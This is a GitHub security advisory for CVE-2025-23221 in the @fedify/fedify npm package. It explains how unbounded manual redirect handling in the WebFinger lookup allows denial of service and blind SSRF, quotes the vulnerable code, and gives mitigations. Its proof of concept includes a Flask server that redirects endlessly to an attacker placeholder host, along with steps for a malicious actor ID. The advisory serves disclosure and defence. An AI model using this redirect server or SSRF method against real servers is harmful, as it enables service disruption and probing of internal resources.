Skip to content

Infinite loop and Blind SSRF found inside the Webfinger mechanism in @fedify/fedify

Moderate severity GitHub Reviewed Published Jan 20, 2025 in dahlia/fedify • Updated Jan 21, 2025

Package

npm @fedify/fedify (npm)

Affected versions

= 1.0.13
= 1.1.10
= 1.2.10
= 1.3.3

Patched versions

1.0.14
1.1.11
1.2.11
1.3.4

Description

Summary

This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service.
Moreover, this issue can also be maneuvered into performing a Blind SSRF attack.

Details

The Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.

The lookupWebFinger function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object.
On Fedify, two client-facing functions implement the lookupWebFinger function- getActorHandle, and lookupObject, which are both used as a wrapper for the vulnerable lookup function.
As the lookupObject function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way getActorHandle is.

The getActorHandle function is a wrapper function for the getActorHandleInternal function (both present at /src/vocab/actor.ts):

async function getActorHandleInternal(
  actor: Actor | URL,
  options: GetActorHandleOptions = {},
): Promise<`@${string}@${string}` | `${string}@${string}`> {
  const actorId = actor instanceof URL ? actor : actor.id;
  if (actorId != null) {
    const result = await lookupWebFinger(actorId, {
      userAgent: options.userAgent,
      tracerProvider: options.tracerProvider,
    });
    if (result != null) {
      const aliases = [...(result.aliases ?? [])];
      if (result.subject != null) aliases.unshift(result.subject);
      for (const alias of aliases) {
        const match = alias.match(/^acct:([^@]+)@([^@]+)$/);
        if (match != null) {
          const hostname = new URL(`https://${match[2]}/`).hostname;
          if (
            hostname !== actorId.hostname &&
            !await verifyCrossOriginActorHandle(
              actorId.href,
              alias,
              options.userAgent,
              options.tracerProvider,
            )
          ) {
            continue;
          }
          return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);
        }
      }
    }
  }
  if (
    !(actor instanceof URL) && actor.preferredUsername != null &&
    actor.id != null
  ) {
    return normalizeActorHandle(
      `@${actor.preferredUsername}@${actor.id.host}`,
      options,
    );
  }
  throw new TypeError(
    "Actor does not have enough information to get the handle.",
  );
}

The actorId parameter containing a URL of the actor ID sinks into the lookupWebFinger function which is a wrapper for the lookupWebFingerInternal:

async function lookupWebFingerInternal(
  resource: URL | string,
  options: LookupWebFingerOptions = {},
): Promise<ResourceDescriptor | null> {
  if (typeof resource === "string") resource = new URL(resource);
  let protocol = "https:";
  let server: string;
  if (resource.protocol === "acct:") {
    const atPos = resource.pathname.lastIndexOf("@");
    if (atPos < 0) return null;
    server = resource.pathname.substring(atPos + 1);
    if (server === "") return null;
  } else {
    protocol = resource.protocol;
    server = resource.host;
  }
  let url = new URL(`${protocol}//${server}/.well-known/webfinger`);
  url.searchParams.set("resource", resource.href);
  while (true) {
    logger.debug(
      "Fetching WebFinger resource descriptor from {url}...",
      { url: url.href },
    );
    let response: Response;
    try {
      response = await fetch(url, {
        headers: {
          Accept: "application/jrd+json",
          "User-Agent": typeof options.userAgent === "string"
            ? options.userAgent
            : getUserAgent(options.userAgent),
        },
        redirect: "manual",
      });
    } catch (error) {
      logger.debug(
        "Failed to fetch WebFinger resource descriptor: {error}",
        { url: url.href, error },
      );
      return null;
    }
    if (
      response.status >= 300 && response.status < 400 &&
      response.headers.has("Location")
    ) {
      url = new URL(
        response.headers.get("Location")!,
        response.url == null || response.url === "" ? url : response.url,
      );
      continue;
    }
    if (!response.ok) {
      logger.debug(
        "Failed to fetch WebFinger resource descriptor: {status} {statusText}.",
        {
          url: url.href,
          status: response.status,
          statusText: response.statusText,
        },
      );
      return null;
    }
    try {
      return await response.json() as ResourceDescriptor;
    } catch (e) {
      if (e instanceof SyntaxError) {
        logger.debug(
          "Failed to parse WebFinger resource descriptor as JSON: {error}",
          { error: e },
        );
        return null;
      }
      throw e;
    }
  }
}

The function takes the actorId parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.

On the fetch request, the redirect attribute is set to “manual” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300>status code>400).

This custom redirect implementation contains multiple issues:
1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting.
2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation.
3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.

In order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.

PoC

  1. In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.
  2. We will create two machines, victim and attacker, each one on a different server with different domains.

Victim Machine

  1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
  2. Install a Deno server:
    curl -fsSL https://deno.land/install.sh | sh
    source ~/.bashrc
    deno --version #check deno is working
  3. Pull the git repository of the victim blog app:
    git clone https://github.com/dahlia/fedify.git
  4. Modify the federation object to remove signature checks for the sake of easy testing:
    On file /examples/blog/federation/mod.ts edit the createFederation object the following attribute: skipSignatureVerification: true.
  5. Change into the blog app directory ( /examples/blog ) and run the app:
    deno task preview
  6. Surf to the application on the browser, and register a user on the app.

Attacker Machine

  1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
  2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
    source ~/.bashrc
    nvm list-remote
  3. Install the latest stable version:
    nvm install {latest_ver} #for example: v20.10.0
    source ~/.bashrc
    npm -v #check it works
    node -v #check it works
  4. Download the attacker app repository:
    git clone https://github.com/dahlia/microblog.git
  5. Disable request signature validations:
    Edit the /src/federation.ts file and add a skipSignatureVerification: true attribute to the createFederation object.
  6. Modify the /src/federation.ts file and tamper with the Person object on the actor dispatcher ( setActorDispatcher("/users/{identifier}" ) - change the actor ID attribute “id: ctx.getActorUri(identifier)” into “id: new URL(‘http://<ATTACKER_MACHINE_DOMAIN>:1337/users/enterloop’)”.
  7. Install python flask and create the Python Flask redirect server:
    apt update
    apt install python3-flask
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/health')
def health():
    return "hello", 200

@app.route('/.well-known/webfinger')
def ssrfinger():
    return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")

@app.route('/endlessloop')
def endlessloop():
    return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0' ,port=1337)
  1. Run the python server and attempt to reach the “/health” path to see the server functions as expected.
  2. Read the README.txt file on the attacker app and follow the instructions on how to execute the app.
  3. Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
  4. Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).

Impact

  1. Implement a limiting stop condition for the endless loop to prevent infinite loops.
  2. Validate the scheme while performing a manual redirection handler.
  3. For each web resource (for the lookupWebFinger function and also URLs found on the “Location” header inside the loop) use the “validatePublicUrl” function to verify that it is not targeting a local resource.

References

@dahlia dahlia published to dahlia/fedify Jan 20, 2025
Published by the National Vulnerability Database Jan 20, 2025
Published to the GitHub Advisory Database Jan 21, 2025
Reviewed Jan 21, 2025
Last updated Jan 21, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(29th percentile)

CVE ID

CVE-2025-23221

GHSA ID

GHSA-c59p-wq67-24wx

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.